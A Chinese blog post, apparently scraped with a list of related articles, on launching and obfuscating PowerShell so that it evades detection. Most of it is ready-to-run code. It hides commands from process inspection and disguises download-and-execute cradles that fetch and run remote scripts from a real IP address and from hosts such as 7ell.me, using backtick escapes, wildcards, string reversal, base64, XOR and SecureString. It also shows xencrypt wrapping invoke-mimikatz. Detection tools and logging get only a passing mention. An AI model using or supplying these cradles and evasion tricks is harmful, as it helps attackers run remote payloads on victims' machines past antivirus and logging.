目前大多数攻击者已经将PowerShell 利用在了各种攻击场景中,如内网渗透,APT攻击甚至包括现在流行的勒索软件中。powershell的功能强大且调用方式十分灵活,灵活使用powershell可以更加方便的管理windows。
 
1. cmd启动powershell
首先看看powershel使用cmd.exe启动执行代码的方式:
1.1 常规方法
cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"
cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
cmd /c "set p1=power&& set p2=shell&& cmd /c echo Write-Host SUCCESS -Fore Green ^|%p1%%p2% -"
 
1.2 管道输入流
cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"
 
1.3 利用环境变量
cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX $env:cmd"
cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&cmd /c echo %cmd%|powershell -
cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX ([Environment]::GetEnvironmentVariable('cmd', 'Process'));
cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX ((Get-ChildItem/ChildItem/GCI/DIR/LS env:cmd).Value)
 
在父进程中隐藏运行的代码:上面第二种方式运行时,如果使用进程查看,可以在父进程启动参数中cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&cmd /c echo %cmd%|powershell -,看到你执行的代码,因为此时powershell -的父进程是第一个cmd.exe,所以可以使用cmd中的转义符号^将|转义后,如
cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&cmd /c echo %cmd%^|powershell -,第二个cmd后面对命令行来说是一个整体,然后执行cmd /c echo %cmd%|powershell -,此时powershell -的父进程就是第二个cmd了,看不到我们执行的代码了。
 
1.4 从其他进程获取参数
首先启动多个cmd进程,这些进程参数中包含要执行的代码
cmd /c "title WINDOWS_DEFENDER_UPDATE&&echo IEX (IWR https://7ell.me/power)&& FOR /L %i IN (1,1,1000) DO echo"
然后在powershell中提取出来IEX (IWR https://7ell.me/power)执行,如:
cmd /c "powershell IEX (Get-WmiObject Win32_Process -Filter \^"Name = 'cmd.exe' AND CommandLine like '%WINDOWS_DEFENDER_UPDATE%'\^").CommandLine.Split([char]38)[2].SubString(5)"
 
1.5 从粘贴板
cmd.exe /c "echo Write-Host CLIP -Fore Green | clip&& powershell [void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); IEX ([System.Windows.Forms.Clipboard]::GetText())"
这些方法可以在powershell日志中看到,所以开启powershell的日志分析很重要。
但是,如果是混淆的,日志中也仅仅是记录了混淆后的东西。
 
2. 混淆
Hacker在攻击时经常会远程下载代码脚本执行,这里基于这样的一条标准的下载文件命令来进行变形混淆。
Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://182.92.120.156:10001/demo.ps1")
在混淆之前,先看看powershell获取环境变量的方式。
Get-Variable/GV/Variable cmd -ValueOnly
-ValueOnly可以简写为-ValueOnly,-ValueOnl,-ValueOn,-ValueO......,-Va,-V
 
(Get-Item/GI/Item Variable:cmd).Value
(Get-ChildItem/GCI/ChildItem/DIR/LS Variable:cmd).Value
后面很多构造会用到这些方式的。
 
2.0 简单处理
Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://abc.ltd/demo.ps1")
 
可以去掉System
Invoke-Expression (New-Object Net.WebClient).DownloadString("http://abc.ltd/demo.ps1")
 
将http分开+号连接
Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tp://abc.ltd/demo.ps1")
 
变量代替
IEX $wc=New-Object Net.WebClient;$wc.DownloadString("ht"+"tp://abc.ltd/demo.ps1")
 
把downloadstring使用单双引号引起来
Invoke-Expression (New-Object Net.WebClient)."DownloadString"("ht"+"tp://abc.ltd/demo.ps1")
 
使用invoke方法
$ds="Down"+"loadString";Invoke-Expression (New-Object Net.WebClient).$ds.Invoke("ht"+"tp://abc.ltd/demo.ps1")
以上单双引号可以切换
 
2.1 转义符(反引号)
查看帮助Get-Help about_Escape_Characters
以下为 Windows PowerShell 能够识别的特殊字符:
 
转义符号加在其他字符前不影响字符的意思,避免在0,a,b,f,n,r,t,v的小写字母前出现即可。
在DownloadString中使用转义符
Invoke-Expression (New-Object Net.WebClient)."Down`loadString"("ht"+"tp://abc.ltd/demo.ps1")
Invoke-Expression (New-Object Net.WebClient)."D`o`wn`l`oad`Str`in`g"("ht"+"tp://abc.ltd/demo.ps1")
Invoke-Expression (New-Object Net.WebClient)."D`o`w`N`l`o`A`d`S`T`R`in`g"("ht"+"tp://abc.ltd/demo.ps1")
 
同样可以使用在Net.Webclient上
Invoke-Expression (New-Object "`Ne`T.`Web`Cli`ent")."Down`l`oadString"("ht"+"tp://abc.ltd/demo.ps1")
 
括号代替空格,或者多个定义变量来连接替换
Invoke-Expression (New-Object("`Ne`T.`Web`Cli`ent"))."Down`l`oadString"("ht"+"tp://abc.ltd/demo.ps1")
$v1="Net.";$v2="WebClient";Invoke-Expression (New-Object $v1$v2)."Down`l`oadString"("ht"+"tp://abc.ltd/demo.ps1")
 
2.2 简写与通配符*
e.g :Get-Comamd New-Ob*
以下几种处理都可以代替 Get-Command New-Object ; Get-Comamnd 可简写为 GCM
&(Get-Command New-Obje*) &(Get-Command *w-O*) &(GCM *w-O*) &(COMMAND *w-*ct)
.(Get-Command New-Obje*) .(Get-Command *w-O*) .(GCM *w-O*) .(COMMAND *w-*ct)
$var1="New";$var2="-Object";$var3=$var1+$var2;&(GCM $var3)
 
结合其他方法混淆
Invoke-Expression (&(Get-Command New-Obje*)"Net.WebClient")."DownloadString"("ht"+"tp://abc.ltd/demo.ps1")
$var1="New";$var2="-Object";$var3=$var1+$var2;Invoke-Expression (&(GCM $var3)"Net.WebClient")."DownloadString"("ht"+"tp://abc.ltd/demo.ps1")
Ie`x (.(GCM *w-O*)"Net.WebClient")."DownloadString"("ht"+"tp://abc.ltd/demo.ps1")
 
2.3 脚本块
使用脚本块
Invoke-command{xxxx} ICM{xxxx} {xxxx}.invoke() &{xxxx} .{xxxx}
$ExecutionContext.InvokeCommand.NewScriptBlock("xxxxx")
${ExecuTioNCoNTexT}."INVokeCommANd"."NewScRipTBlock"("expression")
$ExecutionContext."`I`N`V`o`k`e`C`o`m`m`A`N`d"."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("expression")
${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}."`I`N`V`o`k`e`C`o`m`m`A`N`d"."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("expression")
$a = ${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}; $b = $a."`I`N`V`o`k`e`C`o`m`m`A`N`d";$b."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("ex"+"pres"+"sion")
 
Scriptblock类方法,[Scriptblock]相当于[Type]("Scriptblock")
[Scriptblock]::Create("expression")
([Type]"Scriptblock")::create('expression')
[Scriptblock]::("Create").Invoke("expression")
([Type]("Scriptblock"))::("Create").Invoke("expression")
[Scriptblock]::("`C`R`e"+"`A`T`e").Invoke("expression")
([Type]("Scr"+"ipt"+"block"))::("`C`R`e"+"`A`T`e").Invoke("ex"+"pres"+"sion")
 
可以构造出下面的式子混淆
(${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}."`I`N`V`o`k`e`C`o`m`m`A`N`d")."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"((& (`G`C`M *w-O*)"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"("ht"+"tp://abc.ltd/demo.ps1"))
 
2.4 字符串处理
反转
$reverseCmd= ")'1sp.omed/dtl.cba.www//:ptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";
1、IEX ($reverseCmd[-1..-($reverseCmd.Length)] -Join '') | IEX
2、$reverseCmdCharArray= $reverseCmd.ToCharArray(); [Array]::Reverse($reverseCmdCharArray);IEX ($reverseCmdCharArray-Join '') | IEX
3、IEX (-Join[RegEx]::Matches($reverseCmd,'.','RightToLeft')) | IEX
 
分割截断 or 替换字符
1、IEX ($cmdWithDelim.Split("~~") -Join '') | IEX
2、IEX $cmdWithDelim.Replace("~~","") | IEX
3、IEX ($cmdWithDelim-Replace "~~","") | IEX
 
格式填充,-f 格式化。
//将NE download http://分别填到{0},{1},{2}
IEX ('({0}w-Object {0}t.WebClient).{1}String("{2}a.ltd/demo.ps1")' -f 'Ne', 'Download','http://') | IEX
//示例2
.("{1}{0}" -f 'X','IE') (&("{3}{2}{1}{0}" -f 'ct','-Obje','w','Ne') ("{0}{2}{1}" -f 'N','nt','et.WebClie')).("{2
}{0}{1}{3}" -f 'dSt','rin','Downloa','g').Invoke(("{5}{0}{3}{4}{1}{2}" -f 'tp:/','e','mo.ps1','/','abc.ltd/d','ht'))
 
变量拼接
$c1="(New-Object Net.We"; $c2="bClient).Downlo"; $c3="adString('http://abc.ltd/demo.ps1')";
1、IEX ($c1,$c2,$c3 -Join '') | IEX
2、IEX ($c1,$c3 -Join $c2) | IEX
3、IEX ([string]::Join($c2,$c1,$c3)) | IEX
4、IEX ([string]::Concat($c1,$c2,$c3)) | IEX
5、IEX ($c1+$c2+$c3) | IEX
6、IEX "$c1$c2$c3" | IEX
 
2.5 编码
ASCII
使用[char]xx 代替字符 如:[char]59-->;
//不用分号
$cmd= "$c1~~$c2~~$c3~~$c4"; IEX $cmd.Replace("~~",[string]([char]59)) | IEX
 
Base64
命令行参数使用
-EC,-EncodedCommand,-EncodedComman,-EncodedComma,-EncodedComm,......,Enc,-En,E
 
解码echo 123 的base64 ZQBjAGgAbwAgADEAMgAzAAoA
1、PS 2.0 -> [C`onv`ert]::"FromB`Ase6`4Str`ing"('ZQBjAGgAbwAgADEAMgAzAAoA')
2、PS 3.0+ -> [ <##> Convert <##> ]:: <##> "FromB`Ase6`4Str`ing"('ZQBjAGgAbwAgADEAMgAzAAoA')
 
.NET的方法
IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('ZQBjAGgAbwAgADEAMgAzAAoA')))
 
其他不同的方式编码 hex/octal/binary/BXOR/etc.
[Convert]::ToString(1234, 2) // 二进制
[Convert]::ToString(1234, 8) // 八进制
[Convert]::ToString(1234, 16) // 十六进制
 
也是转换为16进制
"{0:X4}" -f 1234 小写: "{0:x4}" -f 1234
[Byte][Char]([Convert]::ToInt16($_,16))
($cmd.ToCharArray() | % {[int]$_}) -Join $delim //可以去掉空白 -Join$delim
$bytes[$i] = $bytes[$i] -BXOR 0x6A //可以去点空白 $bytes[$i]-BXOR0x6A)
 
SecureString
关于SecureString: Get-Comamnd *secure-string*
https://www.pdq.com/blog/secure-password-with-powershell-encrypting-credentials-part-1/
https://www.pdq.com/blog/secure-password-with-powershell-encrypting-credentials-part-2/
$secPwd= Read-Host "Enter password" -AsSecureString
$secPwd= "echo 123" | ConvertTo-SecureString -AsPlainText -Force
$secPwd| ConvertFrom-SecureString
 
加密指定key
$cmd= "code"
$secCmd= ConvertTo-SecureString $cmd -AsPlainText -Force
$secCmdPlaintext= $secCmd| ConvertFrom-SecureString -Key (1..16)
$secCmdPlaintext
 
解密
echo xxxx| ConvertTo-SecureString -Key (1..16)
 
示例
$cmd= "echo 123"
$secCmd= ConvertTo-SecureString $cmd -AsPlainText -Force
$secCmdPlaintext= $secCmd| ConvertFrom-SecureString -Key (1..16)
运行
$secCmd= $secCmdPlaintext| ConvertTo-SecureString -Key (1..16);([System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secCmd))) | IEX
 
2.6 自构造关键字替换
就是在其他命令的输出下查看观察目标字符串位置,然后提取出来。比如DownlaodString的构造替换
DownloadString == (((New-Object Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name)
IEX (New-Object Net.WebClient).(((New-Object Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name).Invoke('http://abc.me/')
 
再结合get-command的变形
IEX (.(COMMAND *w-*ct) Net.WebClient).(((.(COMMAND *w-*ct) Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name).Invoke('http://abc.me/')
 
根据这样的思路结合上面提到的获取环境变量方法,可以把New-Object层层混淆为
(GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).(((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).PsObject.Methods|Where{(GCI Variable:_).Value.Name-ilike'*Co*d'}).Name).Invoke((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).(((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name)|GM|Where{(GCI Variable:_).Value.Name-ilike'G*om*e'}).Name).Invoke('N*ct',$TRUE,1), [System.Management.Automation.CommandTypes]::Cmdlet)
 
3. IEX 的处理与其他执行方法
经过上面构造可以看到很多都使用Invoke-Expression/IEX命令,.,&符号来执行表达式。
Invoke-Expression/IEX命令是很常用的一个命令, 运行一个以字符串形式提供的PowerShell表达式。
这里也先看看代替IEX的各种执行方式
Get-Alias/GAL
&(GAL I*X)
.(LS Alias:/I*X)
Get-Command/GCM
.(GCM I*e-E*)
&(Command I*e-E*)
 
GetCmdlets (PS1.0+),
$ExecutionContext.InvokeCommand.GetCmdlets('I*e-E*'),
//用到环境变量
&(GV E*Cont* -Va).InvokeCommand.(((GV E*Cont* -Va).InvokeCommand.PsObject.Methods|Where{(GV _ -Va).Name -clike'*Cm*ts'}).Name).Invoke('I*e-E*')
 
InvokeScript (PS1.0+)
$ExecutionContext.InvokeCommand.InvokeScript($Script)
(GV E*Cont* -Va).InvokeCommand.(((GV E*Cont* -Va).InvokeCommand.PsObject.Methods|Where{(GV _ -Va).Name -clike'I*'}).Name).Invoke($Script),
 
Invoke-Command/ICM
Invoke-Command ([ScriptBlock]::Create($Script))
[ScriptBlock]::Create($Script).Invoke()
.((GV *cut*t -Va).(((GV *cut*t -Va)|Member)[6].Name).(((GV *cut*t -Va).(((GV *cut*t -Va)|Member)[6].Name)|Member|Where-Object{(Get-Variable _ -Va).Name-clike'N*S*B*'}).Name).Invoke($Script))
 
PS Runspace
[PowerShell]::Create().AddScript($Script).Invoke()
Invoke-AsWorkflow (PS3.0+)
Invoke-AsWorkflow -Expression $Script
 
提取串联出IEX,也是在其他命令的输出下查看观察目标字符串位置,然后提取出来。
($Env:ComSpec[4,26,25]-Join'')
((LS env:/Co*pec).Value[4,26,25]-Join'')
($ShellId[1]+$ShellId[13]+'x')
((GV S*ell*d -Va)[1]+(DIR Variable:\S*ell*d).Value[13]+'x')
( ([String]''.IndexOf)[0,7,8]-Join'')
//怎么构造?,比如上面这个 首先查看''|Get-Member有个IndexOf方法,然后看看[String]''.IndexOf的输出,提取出里面的IEX字母
 
4. 相关工具
4.1 Invoke-Obfuscation
这是一个powershell混淆编码框架,基本涵盖了上述的各种混淆方法,
 
4.2 Revoke-Obfuscation
这是一个powershell混淆检测框架,该工具能给出一个脚本是否混淆的
 
4.3 xencrypt
powershell混淆加密工具
使用方法:
Import-Module ./xencrypt.ps1 Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1

powershell代码混淆绕过的更多相关文章

  1. Windows下cmd/powershell命令混淆绕过

    前言 在Windows下绕过杀毒软件的主动防御机制的常见思路. Bypass 1.特殊符号.大小写 常用符号: " ^ , ; 可以绕过一些常规的waf 2.环境变量 拿到一台机器时,可以先 ...

  2. 猪懂傻改之《powershell 代码规范》

    猪懂傻改之<powershell 代码规范> 脚本程序员或许都经历过这样的场景:接手别人的代码时,因为没有注释,变量名五花八门,模块之间逻辑关系如麻,弄得满头雾水,一脸茫然,痛定思痛之后不 ...

  3. powershell脚本执行绕过powershell下脚本执行限制(cmd下执行)以及在cmd下隐藏脚本窗口

    powershell脚本执行绕过powershell下脚本执行限制(cmd下执行) powershell脚本运行方式有两种,一种是powshell中运行,另一种是在cmd中(在某些情况下相当有用) p ...

  4. .net代码混淆 .NET Reactor 研究 脚本一键混淆一键发布

    .net代码混淆 .NET Reactor 研究 为什么要混淆? .net比较适合快速开发桌面型应用,但缺点是发布出来的文件是可以反编译的,有时候为了客户的安全,我们的代码或者我们的逻辑不想让别人知道 ...

  5. 【Android】Android Studio 进行代码混淆,打包release APK

    整了一天,感觉坑挺多. 1. 选择如图中的选项Android Studio进行签名打包: 2. 填写APP对应的信息:(最好用个文本记下来放在项目中同步给Team) - Key store path: ...

  6. ProGuard代码混淆技术详解

    前言     受<APP研发录>启发,里面讲到一名Android程序员,在工作一段时间后,会感觉到迷茫,想进阶的话接下去是看Android系统源码呢,还是每天继续做应用,毕竟每天都是画UI ...

  7. Android Studio代码混淆插件

    之前给公司的App添加代码混淆,在代码的混淆过程也遇到了不少的问题,再加上最近学习了一下Android Studio插件的开发,所以就开发一个代码混淆插件方便项目的代码混淆. 截图 第三方库列表清单 ...

  8. 77.Android之代码混淆

    转载:http://www.jianshu.com/p/7436a1a32891 简介 作为Android开发者,如果你不想开源你的应用,那么在应用发布前,就需要对代码进行混淆处理,从而让我们代码即使 ...

  9. Android 代码混淆、第三方平台加固加密、渠道分发 完整教程(图文)

    第一步:代码混淆(注意引入的第三方jar) 在新版本的ADT创建项目时,混码的文件不再是proguard.cfg,而是project.properties和proguard-project.txt. ...

随机推荐

  1. 杂谈WebApiClient的性能优化

    前言 WebApiClient的netcoreapp版本的开发已接近尾声,最后的进攻方向是性能的压榨,我把我所做性能优化的过程介绍给大家,大家可以依葫芦画瓢,应用到自己的实际项目中,提高程序的性能. ...

  2. Life In Changsha College- 第三次冲刺

    第三次冲刺任务 设计登录注册功能. 用户故事 用户打开“生活在长大”的界面,选择登录 已注册过则输入用户名和密码直接登录 未注册用户则可选择注册功能,注册成功后登录 登录成功则弹出提示框 系统结构图环 ...

  3. 第三篇-用Flutter手撸一个抖音国内版,看看有多炫

    前言 前一篇已经开发了大部分框架,包含视频上下滑动播放,这次将上次未完成的数据显示友好显示,以及底部音乐走马灯特效,另外优化了加载数据的bug,在dart语言里 & 会自动变成&  另 ...

  4. [Firefox附加组件]0004.上下文菜单项

    在我们平常浏览网页是经常要对网页类容进行一些操作处理,如复制,翻译,搜索,打印打印等,今天我们就学习下如何在Firefox中我们如何通过附加组件实现这些操作. 开发步骤 1.终端窗口运行以下命令创建项 ...

  5. CNN卷积神经网络的卷积层、池化层的输出维度计算公式

    卷积层Conv的输入:高为h.宽为w,卷积核的长宽均为kernel,填充为pad,步长为Stride(长宽可不同,分别计算即可),则卷积层的输出维度为: 其中上开下闭开中括号表示向下取整. MaxPo ...

  6. C#线程 入门

    Threading in C#   第一部分: 入门 介绍和概念 C#支持通过多线程并行执行代码.线程是一个独立的执行路径,能够与其他线程同时运行.C#客户端程序(控制台,WPF或Windows窗体) ...

  7. 【译】Welcome to C# 9.0

    C# 9.0正在形成,我想分享我们对添加到该语言下个版本的一些主要功能的看法.对于每个新版本的 C#,我们努力使常见的编码方案更加清晰和简单,C# 9.0 也不例外.这次的一个特别重点是支持数据形状的 ...

  8. Rocket - debug - TLDebugModuleInner - DMSTATUS

    https://mp.weixin.qq.com/s/GyGriFyeq_7Z3xOjKn56Mg 简单介绍TLDebugModuleInner中DMSTATUS寄存器的实现. 1. DMSTATUS ...

  9. Java实现 蓝桥杯VIP 算法训练 非递归(暴力)

    试题 算法训练 非递归 问题描述 当x>1时,Hermite多项式的定义见第二版教材125页.用户输入x和n,试编写"非递归"函数,输出对应的Hermite多项式的值.其中x ...

  10. Java实现 洛谷 P3916 图的遍历(反向DFS+记忆化搜索)

    P3916 图的遍历 输入输出样例 输入 4 3 1 2 2 4 4 3 输出 4 4 3 4 import java.io.BufferedReader; import java.io.IOExce ...